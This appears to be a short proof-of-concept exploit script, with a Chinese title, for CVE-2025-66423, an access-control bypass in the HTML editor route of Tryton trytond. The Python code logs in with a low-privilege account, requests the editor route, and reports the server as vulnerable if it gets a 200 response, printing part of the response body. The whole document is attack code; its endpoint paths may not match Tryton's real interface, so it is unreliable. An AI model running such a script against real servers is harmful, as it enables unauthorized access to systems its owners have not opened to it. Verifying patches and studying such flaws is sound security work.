CVE-2025-66423: Tryton trytond HTML编辑器路由访问控制绕过漏洞

# CVE-2025-66423 PoC - Tryton trytond Access Control Bypass # Target: Tryton trytond < 7.6.11, < 7.4.21, < 7.0.40, < 6.0.70 import requests import json TARGET_URL = "http://target-tryton-server.com:8000" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_66423(): """ This PoC demonstrates the access control bypass in Tryton trytond's HTML editor route. The vulnerability allows low-privilege users to access HTML editor functionality without proper authorization. """ # Step 1: Login with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in with low-privilege account") # Step 2: Access HTML editor route (should be restricted) # The vulnerable route does not enforce access rights html_editor_url = f"{TARGET_URL}/html_editor" response = session.get(html_editor_url) # If we get a successful response (200), access control is bypassed if response.status_code == 200: print("[!] VULNERABLE: Access control bypassed!") print(f"[+] Accessed HTML editor with low-privilege user") print(f"Response: {response.text[:500]}") return True else: print("[-] Not vulnerable or patch applied") return False if __name__ == "__main__": exploit_cve_2025_66423()